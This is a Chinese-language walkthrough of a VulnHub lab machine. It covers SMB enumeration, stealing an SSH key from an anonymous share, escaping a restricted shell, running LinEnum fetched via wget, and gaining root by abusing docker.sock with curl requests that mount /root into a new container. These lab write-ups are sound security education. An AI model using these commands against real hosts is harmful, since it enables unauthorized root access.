vulnhub之SP:Harrison靶机

下载地址:‘https://www.vulnhub.com/entry/sp-harrison,302/’

环境:靶机放在virtualbox上运行,网卡模式

vulnhub之SP:Harrison靶机_第1张图片

 

 攻击机:kali Linux运行在VMware,注意网络模式选择桥接,并且桥接在virtualbox的虚拟网卡上

vulnhub之SP:Harrison靶机_第2张图片

 

 

现在开始进入主题

首先使用netdiscover开启网络发现

vulnhub之SP:Harrison靶机_第3张图片

 

发现了几个网段,因为靶机和我们是连接在同一张网卡,kali地址是192.168.163.0网段,那就上nmap这个工具

vulnhub之SP:Harrison靶机_第4张图片

 

扫网段发现192.168.163.3这个机子是在vir上运行,靶机无疑。直接使用nmap -A 192.168.163.3 -p 1-65535 进行全扫描

有22,445端口

445 端口运行samba服务,是Linux下的一个共享服务,可以使用enum4linux 进行一个枚举

22端口运行ssh服务,并在扫描信息中发现了一个用户harrison,因为ssh算一个比较完善的服务,漏洞利用少,爆破也是不错的选择

 vulnhub之SP:Harrison靶机_第5张图片

 

 使用enum4linux进行枚举,发现了一个共享文件夹Private

vulnhub之SP:Harrison靶机_第6张图片

 

 vulnhub之SP:Harrison靶机_第7张图片

 

 我们在使用smb客户端进看看是否是匿名共享,确实是匿名, -L   显示服务器端所分享出来的所有资源

vulnhub之SP:Harrison靶机_第8张图片

 

直接连接smb的命令和ftp区别不大,ls一下文件发现了两个可以的.ssh目录可能存在密钥对,使我们ssh连接的时候使用私钥不用密码

flag.txt可能是我们这一关的终点站

vulnhub之SP:Harrison靶机_第9张图片

下载到本地

vulnhub之SP:Harrison靶机_第10张图片

 

 

 查看内容,flag.txt经百度翻译为不会那么容易的。

id_rsa存私钥

 

vulnhub之SP:Harrison靶机_第11张图片

 

authorized_keys里面存在着一份公钥,且有root字眼存在,不知道会不会是坑

 

 vulnhub之SP:Harrison靶机_第12张图片

 

使用ssh连接发现root使用不了私钥,我们前面扫描出一个用户搞好成功了,但是发现只能使用几个命令,受到限制

 

 vulnhub之SP:Harrison靶机_第13张图片

 

 

 试试绕过,在次基础是新建一个shell终端进行绕过,最后成功了echo && 'bash'

echo 输出 &&与逻辑前面命令成功继续执行后面的所以shell就成功了

vulnhub之SP:Harrison靶机_第14张图片

找到两个flag文件都不是,不过root下的flag有执行权限,应该是他,所以我们要进行提权

vulnhub之SP:Harrison靶机_第15张图片

 

 

 

 收集信息

uname -a # 查看内核/操作系统/CPU信息

 cat /etc/issue,此命令也适用于所有的Linux发行版

得到几个有用的信息

vulnhub之SP:Harrison靶机_第16张图片

 

 

 找内核有没有漏洞,很不幸没有找到,可能是我的searchsploit太久没更新了,也有可能是这个版本还没有爆出漏洞,比竟这个靶机是5月份

 

上传LinEnum.sh

 

 下载地址https://github.com/rebootuser/LinEnum.git

运行kali上的python形成一个简单的HTTP服务,记得放LinEnum脚本的地方最好在本地浏览器试一下

vulnhub之SP:Harrison靶机_第17张图片

 

 

 vulnhub之SP:Harrison靶机_第18张图片

 

 

 在靶机是属于wget下载脚本,运行,先给脚本可执行权限

 vulnhub之SP:Harrison靶机_第19张图片

 

查看一下suid(可以让调用者以文件拥有者的身份运行该文件)就是以root的权限运行

(Nmap Vim find Bash More Less Nano cp)

vulnhub之SP:Harrison靶机_第20张图片

 

 到这里我熟悉的就用完了,想了一下,还有docker,进去/run查看一下运行文件,发现了docker.sock

vulnhub之SP:Harrison靶机_第21张图片

 

 谷歌上搜了一会发现两篇文章

https://blog.fundebug.com/2017/04/17/about-docker-sock/

https://www.freebuf.com/articles/system/201793.html

vulnhub之SP:Harrison靶机_第22张图片

 

 vulnhub之SP:Harrison靶机_第23张图片

 

 

本地命令好像是这样子,但是我们要新建一个容许来挂载/root,所以要改一下poc

vulnhub之SP:Harrison靶机_第24张图片

 

 

vulnhub之SP:Harrison靶机_第25张图片

 

 

 试一下,

curl  -XPOST  -H 'Content-Type: application/json' --unix-socket /var/run/docker.sock  -d '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKey":"ctrl-p,ctrl-q","Mounts":[{"Type":"bind","Source":"/root/","Target":'/os_root'}]}'   http://localhost/containers/create

-XPOST 发送post请求

-h 添加请求头

Image 创造镜像名称

attach进入Docker容器,指定退出attach模式的快捷键序列,默认是CTRL+p CTRL-q

Cmd 执行的命令

Mounts 挂载 ,将root挂载在容器的os_root

--unix-socket 指定 unix socket 文件的地址 ,监听地址不是 IP:Port 而是 unix socket 的程序

curl --unix-socket /var/run/docker.sock http://localhost/images/json 获取所有的容器这个命令或许有用记下来

vulnhub之SP:Harrison靶机_第26张图片

 

nc -U /var/run/docker.socket

 nc不是脑残的缩写,是net cat的缩写。-U指明是unix socket

vulnhub之SP:Harrison靶机_第27张图片

 

 不知道传啥,然后又找到这个

vulnhub之SP:Harrison靶机_第28张图片

 

 

 改一下我们的poc

curl  -XPOST  -H 'Content-Type: application/json' --unix-socket /var/run/docker.sock  -d '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKey":"ctrl-p,ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/os_root"}]}'   http://localhost/containers/create

vulnhub之SP:Harrison靶机_第29张图片

 

成功提权,root

 vulnhub之SP:Harrison靶机_第30张图片

你可能感兴趣的:(vulnhub之SP:Harrison靶机)